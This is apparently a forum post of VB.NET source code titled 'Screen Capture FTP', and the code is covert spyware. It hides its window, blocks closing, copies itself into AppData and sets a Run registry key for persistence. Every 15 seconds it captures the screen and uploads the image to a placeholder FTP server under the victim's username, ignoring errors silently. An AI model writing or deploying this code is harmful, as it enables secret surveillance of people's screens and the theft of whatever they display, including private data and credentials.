.NET [VB.NET]Screen Capture FTP

Code
Imports System.Security.Principal



Public Class Form1

    Dim Dateiname As String

    Dim Dateilöschen As String

    Dim Pfad As String

    Dim benutzer As String

    Dim zeit As String



    Sub Autostart()

        If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\" & My.Application.Info.AssemblyName & ".exe") Then

        Else

            My.Computer.FileSystem.CopyFile(System.Reflection.Assembly.GetEntryAssembly.Location, My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\" & My.Application.Info.AssemblyName & ".exe")

        End If

      

        Dim oRegKey As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)

        oRegKey.SetValue("ScreenCapture", My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\" & My.Application.Info.AssemblyName & ".exe")

     

    End Sub



    Sub Bild()

        Dim Pic As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)

        Dim g As Graphics = Graphics.FromImage(Pic)

        g.CopyFromScreen(0, 0, 0, 0, Pic.Size)

        PictureBox1.Image = Pic



        PictureBox1.Image.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png")

        PictureBox1.Image.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png", System.Drawing.Imaging.ImageFormat.Png)



        Pfad = My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png"

       

    End Sub



    Sub PCNutzer()

        Dim User As New WindowsPrincipal(WindowsIdentity.GetCurrent)

        Dim BenutzerName As String

        With User.Identity.Name

            BenutzerName = .Substring(.IndexOf("\") + 1)

        End With

        benutzer = BenutzerName

     

    End Sub



    Sub Upload()

        Try

            Dim clsRequest As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://FTP-Server.com/" & benutzer & ".png"), System.Net.FtpWebRequest)

          

            clsRequest.Credentials = New System.Net.NetworkCredential("username", "pw")

            clsRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFile

            Dim bFile() As Byte = System.IO.File.ReadAllBytes(Pfad)

            Dim clsStream As System.IO.Stream = clsRequest.GetRequestStream()

            clsStream.Write(bFile, 0, bFile.Length)

            clsStream.Close()

            clsStream.Dispose()

           

        Catch ex As Exception

        End Try

    End Sub



    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing

        e.Cancel = True

       

    End Sub



    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Me.WindowState = FormWindowState.Minimized

        Me.Visible = False

        Autostart()

        PCNutzer()

        Bild()

        Upload()

      

        zeit = 15

      

        Dateiname = 0

      

        Dateilöschen = -1

     

        Timer1.Interval = 1000

     

        Timer1.Start()

    End Sub



    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        Me.Visible = False

        zeit = zeit - 1

      

        If zeit = 0 Then

            Timer1.Stop()

            Autostart()

            Bild()

            Upload()

          

            Dateiname = Dateiname + 1

            Dateilöschen = Dateilöschen + 1

           

            zeit = 15

          

            If Dateilöschen = 0 Then

                If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png") Then

                    My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png")

                End If

               

            End If

            Timer1.Start()

          

        End If

    End Sub

End Class